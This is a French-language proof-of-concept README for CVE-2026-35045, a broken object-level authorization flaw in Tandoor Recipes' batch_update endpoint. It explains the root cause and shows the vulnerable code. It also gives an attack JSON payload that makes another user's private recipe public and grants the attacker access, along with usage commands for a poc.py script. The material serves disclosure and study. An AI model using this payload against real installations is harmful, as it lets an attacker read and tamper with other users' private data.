
Preuve de concept d'exploitation pour CVE-2026-35045, une vulnérabilité de contrôle d'accès au niveau objet (BOLA) dans Tandoor Recipes, démontrant la modification non autorisée de recettes via le point de terminaison d'API batch_update.
Le point de terminaison PUT /api/recipe/batch_update/ dans Tandoor Recipes v2.6.1 permet à tout utilisateur authentifié au sein d'un Espace de modifier n'importe quelle recette de cet Espace — y compris les recettes privées appartenant à d'autres utilisateurs. Cela contourne complètement les contrôles d'autorisation au niveau objet appliqués sur tous les points de terminaison standard de recette individuelle.
La cause racine est une lacune comportementale de Django REST Framework : les actions de liste avec detail=False n'invoquent jamais has_object_permission(), uniquement has_permission(). Le queryset filtre uniquement par space=request.space, sans vérification de created_by, private ou de la liste shared. Un attaquant peut forcer l'exposition de recettes privées, s'accorder un accès persistant, révoquer les autorisations d'autres utilisateurs et falsifier les métadonnées — le tout en un seul appel API d'apparence non autorisée qui renvoie HTTP 200 OK avec un corps vide.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| CVSS v3.1 | 8.1 ÉLEVÉE — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Version affectée | Tandoor Recipes ≤ 2.6.1 |
| Fournisseur | TandoorRecipes/recipes |
| ID de technique | Nom | Pertinence |
|---|---|---|
| T1078 | Comptes valides | L'attaquant utilise des identifiants légitimes à faibles privilèges pour contourner l'autorisation |
| T1565.001 | Manipulation des données stockées | Modification de recettes privées et de listes de contrôle d'accès appartenant à d'autres utilisateurs |
detail=False contourne les contrôles d'autorisation au niveau objetFichier : cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Aucune vérification created_by ou private
)
Dans Django REST Framework, les actions enregistrées avec detail=False sont des actions de liste. Elles n'appellent jamais get_object(), ce qui signifie que check_object_permissions() et CustomRecipePermission.has_object_permission() ne sont jamais invoqués. Seul has_permission() s'exécute — ce qui vérifie l'appartenance à l'Espace, et non la propriété de la recette.
PUT /api/recipe/{id}/ suit le flux complet d'autorisation DRF :
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ refuse l'accès si la recette est privée et non possédée/partagée avec le demandeur
Le point de terminaison batch_update saute silencieusement toute cette chaîne.
RecipeBatchUpdateSerializer expose les champs suivants — modifiables sur toute recette de l'Espace :
| Champ | Effet |
|---|---|
private | Bascule la visibilité de la recette |
shared_add / shared_remove / shared_set | Manipule la liste de contrôle d'accès |
keywords_add / keywords_remove / keywords_set | Modifie les métadonnées de la recette |
working_time / waiting_time | Modifie les données de temps de la recette |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attaquant│ ─────────────────────────────────────→│ Serveur Tandoor │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Membre Espace)│
│ │
│ has_object_ │
│ permission() │
│ ✗ JAMAIS APPELÉE│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Aucune vérification de propriété
│
▼
┌────────────────┐
│ Recette ID 2 │
│ (possédée par A)│
│ private=false ← corrigé
│ shared=[2] ← auto-accordé
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attaquant (B) │
│ a désormais un │
│ accès complet │
│ à la Recette 2 │
└────────────────┘
requestspip install requests
# Forcer l'exposition d'une recette privée et s'auto-accorder l'accès (par défaut)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Forcer l'exposition uniquement (définir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose